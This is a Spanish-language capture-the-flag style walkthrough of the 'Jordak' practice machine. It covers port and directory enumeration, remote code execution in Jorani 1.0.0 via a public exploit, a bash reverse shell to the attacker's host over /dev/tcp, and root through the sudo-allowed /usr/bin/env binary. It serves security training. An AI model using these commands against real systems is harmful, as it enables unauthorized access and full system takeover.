> For the complete documentation index, see [llms.txt](https://1gnotus.gitbook.io/ignotus_pwn/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://1gnotus.gitbook.io/ignotus_pwn/proving-ground-practice-and-play/writeup/maquina-jordak-web-rce-jordani-1.0.0-+-privesc-env.md).

# MAQUINA JORDAK (Web RCE jordani 1.0.0 + PRIVESC 'env')

Enumere los puertos abiertos de la ip.

![](/files/kXPRecz49Tpf8HRKvh4w)

```
nmap -p- --open -sS --min-rate 2000 -vvv -n -Pn 192.168.143.109 -G Basicscan.txt
```

Realice un reconocimiento de los servicios de los puertos y un escaneo para verificar sus versiones.

![](/files/mGxx2s9UDYAKqMsg61Oa)

```
nmap -p22,80 -sCV 192.168.143.109 -oN fullscan.txt
```

Verifique el contenido del servidor web (puerto 80) y me encontré con el panel de apache por defecto.

Seguido ejecute gobuster para encontrar directorios ocultos dentro de la web.

```
gobuster dir -u http://192.168.143.109 -w /usr/share/wordlists/seclists/Discovery/We
```

![](/files/JEOE7VnYuenFkWJawHNL)

En el directorio sql encontré archivos con contenido interesante como el siguiente.

![](/files/JRqV4xZt9oacfhl0PivM)

Busque que era esto y encontré un panel de sesión en google.

![](/files/VkdqU45pPdlElfQWqXXv)

Luego busque si en la web existe este panel de sesión, por lo que al agregarle la ruta

/session/login automáticamente me envió a esta web.

![](/files/ChcjugEHuCEyBBfVdJqO)

Logre identificar que abajo a la derecha esta la version de este aplicativo (jorani v 1.0.0)

![](/files/fi7ZvJukjjTd0ut5oQxo)

En google busque algún exploit aprovechando la versión encontrándome con el siguiente.

![](/files/Sd9nffjBXatznG2Ax5I0)

Esta version es vulnerable a RCE, por lo en github encontré un repositorio para poder ejecutar esta vulnerabilidad.

![](/files/clXZ5OutHKjRNWp3ufxg)

![](/files/dFEsqWgtatUXeVbaBvo5)

Este exploit se ejecuta de la siguiente manera.

```
python3 exploit.py 
http://192.168.143.109
```

Una vez que ejecute el exploit utilice le comando 'whoami' para verificar si me devuelve una respuesta.

![](/files/omwwuUGi7ZGntp5lVHu3)

Como funciono atreves de una revershell establecí una conexión mas estable con mi maquina kali.

![](/files/u3LT1FYsHaZUo1ZUT1b3)

![](/files/VcUCMSwRvsqJ8mfIlUbH)

```
bash -c "bash -i >& /dev/tcp/192.168.45.233/443 0>&1"
```

Dentro de la maquina busque información sobre ella.

![](/files/aOvqlPoN37OZ7Cb3W84Y)

![](/files/HyxGMtcwt1eO4y4kQVER)

![](/files/pW2Mq4BDga3RRCtGhRgo)

![](/files/Gy3z19ebV19kT5H7yIu7)

![](/files/ssz1q9TwdrTrKMXHiO7z)

Ejecute el comando sudo -l y observe que el binario /usr/bin/env no requiere contraseñas.

![](/files/s8f9CZkNNHEvqKxPr6cn)

En la pagina gtfobin se encuentre la forma de abusar de este binario para escalar privilegios.

```
sudo /usr/bin/env /bin/bash -p
```

![](/files/rlFxiSfH4VIEzb7oGXNz)

Root.
